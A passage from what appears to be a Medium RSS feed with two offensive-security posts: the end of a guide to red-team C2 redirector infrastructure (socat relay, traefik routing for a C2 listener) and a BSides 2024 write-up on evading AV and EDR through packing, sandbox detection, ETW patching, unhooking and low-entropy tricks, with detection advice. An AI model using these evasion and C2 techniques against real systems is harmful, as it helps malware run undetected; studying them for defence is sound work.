automatically comes with the benefit of giving us an exposed IP address.</p><h4>— — [ 0x2.2 — How do I get on the same network as my cloud VM? — OpenVPN</h4><p>Now we have our public IP by way of using a cloud-hosted machine. We get to our next problem: how do I get on the same network? I want to be on the same network so I can forward traffic to my “permanent” host i.e. my Kali. There are many other benefits for this like minimizing the sensitive information left on servers, and also the fact that you likely have a local environment that is way more comfortable to use than some web interface to a ssh session. I imagine you, like me, have your cool local setup configured with a cool i3 config and awesome theming and design choices — we don&#39;t want to miss out on that! Also if you require access to any GUI interfaces or web pages from the host you are connecting with, then this will be a requirement.</p><p>I looked into various solutions for this one such as ssh forwarding. but they all pointed in the same direction: a VPN. As for the choice of VPN, I ended up choosing OpenVPN — it&#39;s simple to set up, free, and user-friendly.</p><p>For the setup, I ended up finding a <a href="https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts/">cool script that does all of the heavy lifting for us [006]</a>. In the end I made several modifications to the script and removed some of the customizability since I found myself choosing the same options over and over again.</p><p>Great! now we have a public IP we can reach from our remote network, and we have access to the server at the exposed IP address. But how do we get our traffic back yo out attacker machine?</p><h4>— — [ 0x2.3 — How do we get our traffic back to our attacker machine? — Socat</h4><p>For the longest time my setup was just as described and for relaying back communication from the could VM I just used <a href="https://www.ipfire.org/docs/addons/socat#:~:text=socat%20is%20command%20line%20utility,between%20two%20independent%20data%20channels.">socat </a>[007] to relay communications back. Usually from port 80 or 443, if I needed more than one instance I would just use “screen” to deal with the different sessions of the tool I needed running. The command looked something like:</p><pre>socat TCP4-LISTEN:[EXTERNAL_PORT],fork TCP4:[KALI_IP_FROM_OPENVPN]:[LIGOLO-NG_PORT_ON_KALI]</pre><p>Now we can catch incoming communications and forward them to the appropriate port on our attacking machine! Again this was how I did it for the longest time. But there are some issues here. I&#39;m assuming we have a limited number of ports: 80 and 443, and if we are really lucky 8080 and 8443. But except for ligolo-ng and catching random nc shells, most of what we are trying to do will be either HTTP or HTTPS. I had this exact problem switching between running different apps and starting and stopping them when I needed something else. That leads us nicely to our next and final problem: How can I run multiple web apps on the same port?</p><h4>— — [ 0x2.4 — How can I run multiple web apps on the same port? — DNS and traefik</h4><p>As I mentioned earlier we will here be using traefik to determine where to forward web communications. Why did I choose this over Nginx? well, the web dashboard is nice and it was just what ended up fitting best at the time.</p><p>In the start I had some issues wrapping my head around how to setup and use traefik. But after reading some documentation and experimenting I got the hang of it and got everything working. But for the sake of documentation and to save you some time here are the basics. Of course read the docs, it can save you much headache and many hours of trouble shooting [008].</p><p>Running traefik — more or less all the documentation and guides online are running traefik as a docker container. There are probably many nice things about doing it this way. but I don&#39;t care. It adds complexity and I don&#39;t want another application to debug. So go over to their GitHub page and grab a binary from the releases page!</p><p>The application uses two files for configuration:</p><ul><li>Static — this is where you define the application In general and specify where the application should look for the other configuration file the dynamic one. Additionally, this is where you specify what ports the application should listen on (entryPoints)</li><li>Dynamic — this is where we define rules for routing and handling traffic through the application</li></ul><p>For these files, there are some general concepts you need to know</p><ul><li>Providers — This is how the application can dynamically find endpoints and do some mapping — this is used with docker and is not relevant to us.</li><li>EntryPoints — again this is where you specify what ports to listen for.</li><li>Routers —These handle incoming traffic and figure out, based on rules, where it should be sent and if anything should be done with</li><li>Middlewares — features you can add such as custom logging, authentication etc. This is useful if we want to add authentication to something that does not have it built-in like a simple web server hosting files.</li><li>Services — These are the endpoints to which our traffic should be forwarded.</li></ul><p>Now that we have this covered we can create a basic set of config files. For this, I&#39;ll assume that we are hosting two web applications: a simple HTTP file server and a listener for our c2 framework of choice.</p><pre># static: traefik.yml<br>api:<br>  dashboard: true<br>  insecure: false<br><br>providers:<br>  file:<br>    filename: &quot;/etc/traefik/dyn.yml&quot;<br>    watch: true<br><br>entryPoints:<br>  web: <br>    address: &quot;:443&quot;</pre><p>I&#39;ll use the subdomain for differentiating the requests for the different services. Therefore all communication to our file server will go to “file.[domain.name]” and c2 traffic goes to “c2.[domain.name]”</p><pre>http:<br>  routers:<br>    dashboard:<br>      rule: Host(`traefik.{{env &quot;DOMAIN&quot;}}`) &amp;&amp; (PathPrefix(`/api`) || PathPrefix(`/dashboard`))<br>      service: api@internal<br>      middlewares:<br>        - auth<br>    to-py-http-server:<br>      entryPoints:<br>      - web<br>      rule: &quot;Host(`file.{{env &quot;DOMAIN&quot;}}`)&quot;<br>      middlewares:<br>      - &quot;ipallowlist&quot;<br>      service: py-http-server<br>    to-c2-http-server:<br>      entryPoints:<br>      - web<br>      rule: &quot;Host(`c2.{{env &quot;DOMAIN&quot;}}`)&quot;<br>      middlewares:<br>      - &quot;ipallowlist&quot;<br>      service: c2-http-server<br>  <br>  middlewares:<br>    ipallowlist:<br>      ipAllowList:<br>        sourceRange:<br>          - &quot;[KALI_OVPN_IP]&quot;<br>          - &quot;127.0.0.1/32&quot;<br>          - &quot;[REMOTE_IP]&quot;<br>    auth:<br>      basicAuth:<br>        users:<br>          - &quot;admin:[PASSWORD_REDACTED]&quot;<br>          <br>  services:<br>    py-http-server:<br>      loadBalancer:<br>        servers:<br>        - url: &quot;http://{{env &quot;LOCAL_HOST&quot;}}:8000&quot;<br>    c2-http-server:<br>      loadBalancer:<br>        servers:<br>        - url: &quot;http://{{env &quot;LOCAL_HOST&quot;}}:9001&quot;</pre><p>You&#39;ll also notice above that a rule is added for access to the traefik dashboard, for more on that refer to their <a href="https://doc.traefik.io/traefik/operations/dashboard/">official documentation [009]</a>.</p><p>The DNS setup is quite simple, you just need a domain name and two “A” records. Here is how I set it up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zvIIh9HCND_zkr8lQXvahw.png" /><figcaption>DNS setup</figcaption></figure><p>Notice that the first “A” record just points to our cloud VM, and then the second one just resolves all subdomains to the same host.</p><h3>— [ 0x3 — Security</h3><p>For additional security, I configured several firewall rules using UFW since I&#39;m running on Ubuntu.</p><p>Lastly, to check my work I did a quick port scan of the infrastructure and everything seemed good! In the future, I might limit ssh and access to the admin interface to only internal interfaces but I&#39;m saving that for another day and just restricting all access via the Digital ocean dashboard.</p><pre>Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-07 11:59 EST<br>Stats: 0:05:19 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 93.75% done; ETC: 12:05 (0:00:05 remaining)<br>Nmap scan report for 64.226.107.61<br>Host is up (0.041s latency).<br>Not shown: 996 filtered tcp ports (no-response)<br>PORT     STATE SERVICE  VERSION<br>22/tcp   open  ssh      OpenSSH 9.7p1 Ubuntu 7ubuntu4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 25:bc:c1:a8:b5:96:24:d0:4e:58:64:d0:d9:b0:68:ef (ECDSA)<br>|_  256 34:51:42:e9:fd:16:d0:1c:f1:af:83:66:52:59:3d:ae (ED25519)<br>80/tcp   open  http     Golang net/http server (Go-IPFS json-rpc or InfluxDB API)<br>|_http-title: Site doesn&#39;t have a title (text/plain; charset=utf-8).<br>443/tcp  open  https?<br><br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 371.61 seconds</pre><h3>— [ 0x4 — Deployment</h3><p>Now we have all of the main parts of our setup in place it is time to think a bit about how we are going to deploy it. Again we assume that our infrastructure is only live for a couple of weeks or a month at most. This means that maintenance is not really a major concern. The only major decision we need to make here is the framework used. For this, we have several options I have narrowed it down to three: teraform, ansible, and the good old bash script. Let&#39;s discuss each and talk about their benefits and drawbacks:</p><ul><li>Terraform — Terraform is an infrastructure as code tool developed and maintained by hashicorp. The tool is meant for spinning up and managing cloud infrastructure like load balancers managing Kubernetes and similar. It&#39;s more of an infrastructure tool and therefore is not what <a href="https://www.terraform.io/use-cases/infrastructure-as-code">we are looking for here [010]</a>.</li><li>Ansible — Ansible is a tool created for automating workflows and tasks. It is managed by Red Hat and flexible for automation across infrastructure on multiple hosts, it uses “nodes” to deploy playbooks across infrastructure to execute the tasks given in the playbooks. For the purposes of this setup, we would still need to install Ansible itself and the features the tool provides are not really relevant for our purposes since we are operating at a tiny scope.</li><li>Bash — Plain, old, boring, simple to use, and easy. Just using the building tools means that we do not need to install any additional tooling and also no additional messing with configurations and compatibility issues — yeah safe to say I just created a simple bash script for setting up all the above.</li></ul><p>Then after that decision was made, the last question is how do we go from fresh cloud VM to functional infrastructure? Well, I simply created a repository on Git Hub for hosting all this. Then issued myself a read-only <a href="https://github.blog/security/application-security/introducing-fine-grained-personal-access-tokens-for-github/">Private Access Token (PAT) [011]</a> for the repo. Using this token I can simply do a “git clone” to download all the files. Then I just need to run my bash script, and input the domain name and the IP(s) allowed to access the infrastructure and ports. Then the script does the rest. When it is done I can just copy my OpenVPN client script, start socat and traefik, and we are good to go!</p><h3>— [ 0x5 — Conclusion</h3><p>I have been using a setup like the one described above for a while now, and boy was it worth it to actually go through and get something proper setup! Don&#39;t underestimate the niceness and comfort of having a proper setup. Sure there is room for expansion and I will probably modify and add stuff to the setup as time goes on. But just taking the time to improve part of your setup is really something I can recommend! The next step for my arsenal will probably be developing and refining the setup script to add additional resources to the infrastructure like maybe some DNS hosting and some upload functionality but that&#39;s all for another day.</p><h3>— [ 0x6 — References</h3><ul><li>[001] — <a href="https://github.com/nicocha30/ligolo-ng">https://github.com/nicocha30/ligolo-ng</a></li><li>[002] — <a href="https://github.com/jpillora/chisel">https://github.com/jpillora/chisel</a></li><li>[003] — Can you port forward based on a subdomain — <a href="https://serverfault.com/questions/96469/is-there-a-way-to-forward-a-port-based-on-subdomain">https://serverfault.com/questions/96469/is-there-a-way-to-forward-a-port-based-on-subdomain</a></li><li>[004] — <a href="https://traefik.io/traefik/">https://traefik.io/traefik/</a></li><li>[005] — <a href="https://nginx.org/en/">https://nginx.org/en/</a></li><li>[006] — How to setup OpenVPN on Ubuntu — <a href="https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts/">https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts/</a></li><li>[007] — <a href="https://www.ipfire.org/docs/addons/socat#:~:text=socat%20is%20command%20line%20utility,between%20two%20independent%20data%20channels">https://www.ipfire.org/docs/addons/socat#:~:text=socat%20is%20command%20line%20utility,between%20two%20independent%20data%20channels</a>.</li><li>[008] — Traefik docs — <a href="https://doc.traefik.io/traefik/">https://doc.traefik.io/traefik/</a></li><li>[009] — Traefik dashboard documentation — <a href="https://doc.traefik.io/traefik/operations/dashboard/">https://doc.traefik.io/traefik/operations/dashboard/</a></li><li>[010] — <a href="https://www.terraform.io/use-cases/infrastructure-as-code">https://www.terraform.io/use-cases/infrastructure-as-code</a></li><li>[011] — GitHub fine-grained access token — <a href="https://github.blog/security/application-security/introducing-fine-grained-personal-access-tokens-for-github/">https://github.blog/security/application-security/introducing-fine-grained-personal-access-tokens-for-github/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cde80eb5569d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BSides CPH 2024 Writeup: DIY Trojan horse or: How to get your malware past EDR]]></title>
            <link>https://medium.com/@0x0vid/bsides-cph-2024-writeup-diy-trojan-horse-or-how-to-get-your-malware-past-edr-0e5ed2196ccd?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e5ed2196ccd</guid>
            <category><![CDATA[bsides]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[edr-evasion]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Mon, 11 Nov 2024 16:57:03 GMT</pubDate>
            <atom:updated>2024-11-11T16:57:03.912Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>TL;DR — This post is a written version of the presentation given at BSides Copenhagen 2024</strong></h4><p><em>Obligatory disclaimer: All of the information presented here is for research purposes and should only be used in a legitimate and legal manner, the author will not be held responsible for any misdoings or illegal activities.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xMusmGZtQdXMJjOz" /></figure><p>The following is a write-up of my presentation at BSides Copenhagen 2024. The aim is to document the talk and provide some additional details that were cut from the talk as well as serve as a point of reference if needed for the ones who attended the talk.</p><h3>— [ 0x0 — Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*shcGn2rUWlimnGkYrUQTEw.png" /></figure><p>A short introduction to myself. My name is Mark and I have been doing offensive security for the last 3–4 years. Within the last year or two, I got tired of my tools getting caught and removed by AV and EDR. This coincided with the growth in the ability of EDR software to detect and mitigate threats automatically. This sent me down the path of malware development! This talk is a basic walkthrough of how userland malware can evade EDR. The goal is for us to be able to run our tools. More advanced evasion like completely evading detection and teletry will be left for another time!</p><h3>— [ 0x1 — Structure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nK4JiLZoIm6tYnRiTBrjGA.png" /></figure><p>For this talk, we will go through how to evade modern anti-virus (AV) and Endpoint Detection and Response (EDR) software(From here on I’ll just refer to these as EDR).</p><p>We will start off by talking about the purpose of the presentation and then talk a bit about the different aspects of analysis. I have chosen the methodology of separating these into different stages, this was based on <a href="https://www.youtube.com/watch?v=CKfjLnEMfvI&amp;ab_channel=HackInTheBoxSecurityConference">[001]</a>. We will be separating analysis into three different stages, each of which uses a different set of tools and techniques to detect malware at different points in its execution:</p><ul><li>The first is static analysis where the binary is scanned for static signatures indicating malicious intent</li><li>The second is sandboxing — here the malware is run in a dedicated analysis sandbox to see if it does anything malicious</li><li>Third and lastly is runtime analysis — here the ongoing behaviour of the application is scrutinized for indicators of malicious behaviour.</li></ul><p>Next up we will dive into a plan of how we are going to be putting all this together to get a final product that can evade EDR. Here I&#39;ll also briefly get into how you can get started, and what to expect.</p><p>After that, I will be releasing my packer called “farsidePacker”. As of writing (Oct. 2024) this is able to bypass most EDR. The project is meant to serve as inspiration for how something like this can be made, other examples are listed in the references at the end of this post. The tool allows for different configurations for evasion features, and can be used both by offensive and defensive teams to play around with these! I fully expect this tool to be fingerprinted and blocked pretty quickly after the release, but enjoy it while it works.</p><p>In the end, we will go through a bit of how this tool and similar applications can be detected and blocked!</p><h3>— [ 0x2 — Purpose</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWynTvP0B6mmeG8L1dlfFA.png" /></figure><p>So what&#39;s the purpose? why are we here? Well, I have narrowed it down to three distinct points.</p><ul><li>Firstly I want to give an introduction to how evasion works for different security controls.</li><li>Next, I want to show you how you can get started.</li><li>And finally, I will provide an example of how I have done it.</li></ul><h3>— [ 0x3 — What is a trojan horse?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hv5y9gQYxpXzLP1dIhWtA.png" /></figure><p>When talking about a “Trojan” in terms of malware, it is a piece of software that looks legitimate but is malicious. More specifically for our user case, it is a piece of software that looks legit when analyzed by EDR projects. So for our purposes, we will narrow down this definition even further: Create legitimate-looking software <a href="https://kleiton0x00.github.io/posts/The-more-predictable-you-are-the-less-you-are-able-to-get-detected/">[002]</a> that can run malicious software.</p><p>But before we get that far let&#39;s have a short look at the defensive measures employed by EDR.</p><h3>— [ 0x4 — Stages of Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vagWoSLtd--tSskfsB-a0g.png" /></figure><p>In general, there are three different stages of analysis [001] that a binary goes through when running on a system. In short, these are:</p><ul><li>Static analysis — this is when you download something and it is immediately flagged and removed.</li><li>Sandbox analysis — this often is the short break from running the binary to the binary actually starting to execute.</li><li>Runtime — this is when the binary has been executed and is running on the system.</li></ul><p>A little trick to figuring out which part of the analysis a binary is getting caught on is just to include a simple print statement at the start of execution. If this is not triggered then you know that you never got to actually execute on host.</p><h3>— [ 0x5 — Evading Static Analysis (AV)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6nczZiA0xnRLoMO8f7GefQ.png" /></figure><p>The first topic we will deal with is static analysis. Static analysis is the oldest and most widespread type of analysis done by defensive countermeasures. In short, it looks through files for known Indicators of Compromise (IOCs). These can be everything from the hash of the file to byte sequences, strings, or filenames. This is why your malware gets flagged and deleted the second you download it. Take a vanilla compilation of mimikatz as an example, its hash is probably known by every EDR and AV product out there. The low resource requirements to perform a check like this mean that this is done pretty much by every security product on the market.</p><p>So how do we get around this? First let&#39;s understand our objective: to remove known signatures. There are two main ways of doing this:</p><ul><li>Obfuscation <a href="https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/">[003]</a>: in this step, we simply go through the binary, and remove or modify known IoCs like strings. An example of this is just going through mimikatz and changing strings. This method is simple, it does not modify behaviour and can be done by more or less everyone. It does require access to the source code and can be quite time-intensive if done manually.</li><li>Encryption<a href="https://cloud.google.com/learn/what-is-encryption">[004] </a>— the next option is to encrypt our binary and execute it in memory. This method is a lot more complex and demands specialized software. This method requires that the binary be reflectively injected into memory and executed (PE injection, RunPE etc. <a href="https://www.adlice.com/runpe-hide-code-behind-legit-process/">[005]</a>, <a href="https://unprotect.it/technique/process-hollowing-runpe/">[006]</a>, <a href="https://unprotect.it/technique/pe-injection/">[007]</a>). The benefit of this method is that the binary with the IoCs is completely transformed. Where obfuscation might leave byte patterns or other IoCs behind, this method has none of those drawbacks. The software used for this is often called packers or crypters, the most famous example of this is probably UPX.</li></ul><p>The second method also has the benefit of completely retaining the original functionality. It also has the benefit that we won&#39;t need the original source code for the binary! This is useful for stuff like cobaltStrike where the source code for implants is not easily available to us. This is desired if we want to retain functionality that might be heavily flagged as IoCs such as help menus and strings used to track execution. Therefore this will be our preferred method.</p><h3>— [ 0x6 — Evading Sandbox Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jwc3TQtL9FQSjNXPSCgGFg.png" /></figure><p>Next up is sandbox analysis. Sandbox analysis is simply moving the binary to a place where the binary can be executed. Then the actions it performs can be tracked. And an evaluation of whether or not it is malicious can be made by the system. Common examples of sandboxes for malware include but are not limited to:</p><ul><li><a href="https://www.joesandbox.com/#windows">Joe sandbox [008]</a></li><li><a href="https://any.run/">ANY.RUN [009]</a></li><li><a href="https://www.virustotal.com/gui/home/upload">and VirusTotal [010]</a></li></ul><p>The strategy for evasion of sandbox analysis is quite simple. We either try to detect whether our malware is running in a sandbox. or we simply wait for long enough that the sandbox has stopped running (this is possible due to the resource constraints placed on online sandboxes).</p><p>The first of these can be done by checking for the attributes of the machine we are running:</p><ul><li>The amount of <a href="https://unprotect.it/technique/checking-memory-size/">RAM [011]</a>.</li><li>The presence of physical memory.</li><li>Time elapsed since the start — this works since sandboxes often remove sleep functionality from binaries to speed up analysis, thus giving away their presence <a href="https://unprotect.it/technique/rdtscp/">[012]</a>.</li></ul><p>Many more methods exist but I trust you get the idea</p><h3>— [ 0x7 — Evading Runtime Analysis (EDR)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZZHhGNKbEcCU04hYXfSWmg.png" /></figure><p>Lastly, the newest addition to the capabilities of modern EDR systems is the monitoring of real-time actions performed by malware. This can come in many forms but the two most popular are:</p><ul><li>Hooking of system calls via the Win32 API or lower-level API functions — This is where a program replaces an API call with a JMP instruction to some form of monitoring functionality<a href="https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++"> [013]</a>.</li><li>The other is listening to system events either from Event Tracing for Windows (EWT)<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-">[014] </a>or the kernel level ETW Threat Intelligence<a href="https://jsecurity101.medium.com/uncovering-windows-events-b4b9db7eac54">[015]</a> (ETW—TI) also known as “<a href="https://research.meekolab.com/introduction-into-microsoft-threat-intelligence-drivers-etw-ti">Microsoft Threat Intelligence Drivers (ETW-TI)</a> [016]”, here the EDR is listening to system-generated events (similar to Sysmon <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">[017]</a>) and using these to determine if a program is malicious.</li></ul><p>So how do we get around this? We either blind defences or we use some API call or technique that is not monitored. To demonstrate I have chosen the two approaches listed above:</p><ul><li>Patch ETW <a href="https://www.phrack.me/tools/2023/04/10/Patching-ETW-in-C.html">[018]</a> — this one is simple we just patch the function responsible for creating ETW events for our process to stop collection. No collection = no telemetry.</li><li>Function unhooking/circumvent — here we eitherfully remove the hooks placed by EDR. Or we avoid calling the hooked functions by calling either a similar function or a lower-level version of the function(direct syscalls <a href="https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low">[019]</a>) i.e. using NtAllocateVirtualMemory instead of VirtualAlloc.</li></ul><p>Many more techniques exist! Some of the more interesting include blocking network communications of the EDR agent <a href="https://github.com/TierZeroSecurity/edr_blocker">[020]</a>, and installing a rootkit to filter out telemetry on the kernel level… imagination is the only limit here!</p><h3><strong>— [ 0x8 — That’s cool, but what is the plan?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JFPYOdQ9cQNnOL7aryq15w.png" /></figure><p>So now that we have a decent overview of the different telemetry an EDR relies on to catch our malware. What is the plan?</p><p>Well, we will create a build system to create a packer which encrypts our target payload and adds evasion features. Why a build system? Because this allows us to add and remove features at will and experiment with what works, and what doesn&#39;t. It will also allow for customizable payloads depending on the EDR/AV we are going up against … and I think it was more useful for learning!</p><p><strong>Pro tip: If this starts to get flagged by EDR, then it&#39;s likely just the stub (part of the packer responsible for loading the malware into memory) or some of the evasion features added to the stub. To get around this just change up the techniques and the code a bit, and it should work again!</strong></p><h3><strong>— [ 0x9 — But How do I get started?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-u_mEnA_17UZM4ujbO8GEg.png" /></figure><p>Now you are probably sitting there…. a bit more tired than when you came… and wondering: How do I get started? Luckily for you, the answer is pretty simple: You go look at stuff on Git Hub, see how other people do stuff, and then create something yourself (I&#39;ll help with the first part shortly)<a href="https://github.com/S3cur3Th1sSh1t/Nim-RunPE/blob/main/NimRunPE.nim">[021]</a>, <a href="https://github.com/Helixo32/NimReflectiveLoader/blob/main/src/RunRemoteDll.nim">[022]</a>, <a href="https://github.com/aaaddress1/RunPE-In-Memory/blob/master/RunPE-In-Memory/RunPEinMemory/fixIAT.hpp">[023]</a>, <a href="https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim">[024]</a>, <a href="https://github.com/byt3bl33d3r/OffensiveNim">[025]</a>, <a href="https://github.com/icyguider/Nimcrypt2/tree/main">[026]</a>, <a href="https://medium.com/p/460b5b3692e0">[027]</a>.</p><p>To do this, you will need to know how to program. Since our malware targets Windows you will need a language with support for the Win32 API, or the competencies to implement this yourself!</p><p>Then you will need to know how to program with the Win32 API. A short rant on the Win32 API: It is a mess, it is awful nothing makes sense, nothing is standardised, and the documentation is outdated and messy… if you are programming in a language that cares about types, you will find yourself casting types to other types to even more different types… Here are some examples:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nCf3yLNK9ACUJlASa57v3A.png" /><figcaption>Nim: Converting a pointer to a byte to a ulonglong to add it to a DWORD from a struct from an object to convert it to a pointer function pointer</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ayLbc7G5sAuYV55TnIOCWw.png" /><figcaption>Golang: Take the address of the first byte in an array, cast to an unsafe pointer, cast that to a uintptr</figcaption></figure><p>It&#39;s a mess and it&#39;s just something you need to work around …</p><p>So in short, to create malware for a Windows system you need a language that supports the Win32 API, has reasonable support for Windows structs and objects, and lastly can be compiled or run on Windows systems.</p><h3><strong>— [ 0xA — Release: farsidePacker</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hw4LvyWrkrp-47FfTq3OWQ.png" /></figure><p>Now for the exciting part! putting it all together! and for this occasion, I have created the “farsidePacker” project which is available on my GitHub! The project shows how all of the above techniques can be put together to create a piece of malware that as of writing can bypass most EDR/AV, at least when using mimikatz!</p><p>The intention of this project is to provide a PoC that you can use to learn how to create your own malware!</p><p><a href="https://github.com/0xOvid/farsidePacker">GitHub - 0xOvid/farsidePacker: Packer for demonstrating various evasion techniques</a></p><h3><strong>— [ 0xB — Detection And Prevention</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5hZLnPYSwoE3_n8bLytOA.png" /></figure><p>Now that we have gone through how to evade EDR and I have shown how this can be done, let&#39;s have a talk about how this can be prevented and detected.</p><h4>Detection:</h4><p>To detect the techniques mentioned here, defenders have a few broad options:</p><ul><li><strong>Suspicious API calls </strong>— this is already present in some EDR solutions and more or less just consists of the software detecting potentially malicious API calls. A classic example of this is using direct syscalls instead of more conventional calls, such as: using NtAllocateVirutalMemoryinstead of VirtualAlloc to allocate memory for our payload</li><li><strong>Loading NtDll twice or overwriting its memory space</strong> — most programs likely will not write to the memory space of NtDll or load it twice, therefore it might be a decent IOC for unhooking NtDll</li><li><strong>Compound detections </strong>— no matter how many fancy evasion techniques we add to our packer, the packed program will eventually have to do something. If that something can then be detected then this will mitigate the evasion our packer just did. A classic example is mimikatz getting a handle to LSASS or CobaltStrike allocating its config on the heap.</li></ul><h4>Prevention:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GOTl8jXpvJTjYUq3XsioAQ.png" /></figure><p>Prevention of an attacker&#39;s ability to evade defences comes down to one simple strategy:</p><p><em>Don&#39;t let attackers run code in your environment!</em></p><p>To achieve this tools like AppLocker can be really helpful to defend against the blunt of most modern attacks by simply preventing execution. Combining this with tools like Attack Surface Reduction (ASR) many techniques become nullified. This is not a cure-all but will get defenders much of the way towards greater defensive posture.</p><p><strong>Attack Surface Reduction Rules</strong><a href="https://kaidojarvemets.com/simplifying-cyber-defense-how-to-configure-attack-surface-reduction-with-powershell/"><strong>[028]</strong></a><strong>:</strong></p><pre>#Attack Surface Reduction Rules JSON File<br>$URL = &quot;https://raw.githubusercontent.com/Kaidja/Defender-for-Endpoint/main/AttackSurfaceReductionRules.json&quot;<br>#Convert ASR Rules from JSON<br>$ASRRules = (Invoke-WebRequest -Uri $URL -UseBasicParsing).Content | ConvertFrom-Json<br>foreach($Rule in $ASRRules){<br><br>    $ASRRuleName = $Rule.Name<br>    $ASRRuleGUID = $Rule.GUID<br><br>    Write-Output -InputObject &quot;Working on $ASRRuleName. Setting the rule to Audit Mode&quot;<br>    Add-MpPreference -AttackSurfaceReductionRules_Ids $Rule.GUID -AttackSurfaceReductionRules_Actions AuditMode<br><br>}</pre><p><strong>Applocker:</strong></p><p>for the recommended configuration of AppLocker please refer to the MS guidelines <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/">[029]</a>, <a href="https://learn.microsoft.com/en-us/compliance/anz/e8-app-control">[030]</a>. Also, please just block all execution from the downloads folder!</p><h3><strong>— [ 0xC — Conclusion</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mFU9QtRb8t1TTEIIDT7b_w.png" /></figure><p>In conclusion, it&#39;s not that hard to create malware, it takes a bunch of time and there are challenges to overcome. But if you break them down into their components and are not afraid to get your hands dirty and do some research, it is quite fun! and it is really cool seeing your malware run on an EDR-protected system for the first time!</p><h3><strong>— [ 0xD — Q&amp;A</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qg1kCjDMfS3Y5Fmb1vuyBQ.png" /></figure><p>Summary of questions from the audience:</p><ul><li>Q: What does Beep() do? — A: This is a WinAPI function which takes two arguments, frequency and duration — which basically makes it a nice alternative to Sleep() <a href="https://learn.microsoft.com/en-us/windows/win32/api/utilapiset/nf-utilapiset-beep">[031]</a>.</li><li>Q: Do you use any of the <a href="https://github.com/netero1010/EDRSilencer">EDRSilencer [032]</a> features in this packer? — A: Nope EDRSilencer uses the Windows Filtering Platform (WFP) to intercept EDR telemetry and avoid detection. What I&#39;m doing with this packer is not to avoid detection but to enable execution.</li><li>Q: Will there be a Russian and Chinese language version? — A: Maybe it could be fun.</li><li>Q: Any cool and weird techniques? — A: My favourite one is for sure the “Low Entropy” (entropy being a way of measuring the randomness of data). Which is my way of bypassing Crowdstrike’s detection of encrypted data (high entropy) in files. Many clever approaches exist for this <a href="https://redsiege.com/blog/2023/04/evading-crowdstrike-falcon-using-entropy/">[033]</a> <a href="https://kleiton0x00.github.io/posts/The-more-predictable-you-are-the-less-you-are-able-to-get-detected/">[034]</a>. I liked the first of these, although in my opinion using multiple English words was a way to try hard so I just added 1.000.000 “A”s to a string in the file and got an entropy of like 2, which does the trick.</li><li>Q: Can I use Code Caves instead? — A: Sure codecaves (spaces in an .exe where there is no live code) can be used to hide your functionality or shellcode loader. Just remember that this will change the hash and signature of the file, leading to more scrutiny by detection products.</li></ul><p>There were many other great questions, but these were the ones I can remember off the top of my head.</p><p>If you have any additional questions please feel free to post them in the responses to this article or send me a message and I&#39;ll do my best to answer them.</p><h3><strong>— [ 0xD — References</strong></h3><ul><li><strong>[001] — #HITB2022SIN EDR Evasion Primer For Red Teamers — Jorge Gimenez &amp; Karsten Nohl —</strong> <a href="https://www.youtube.com/watch?v=CKfjLnEMfvI&amp;ab_channel=HackInTheBoxSecurityConference">https://www.youtube.com/watch?v=CKfjLnEMfvI&amp;ab_channel=HackInTheBoxSecurityConference</a></li><li><strong>[002] — The more predictable you are, the less you get detected — hiding malicious 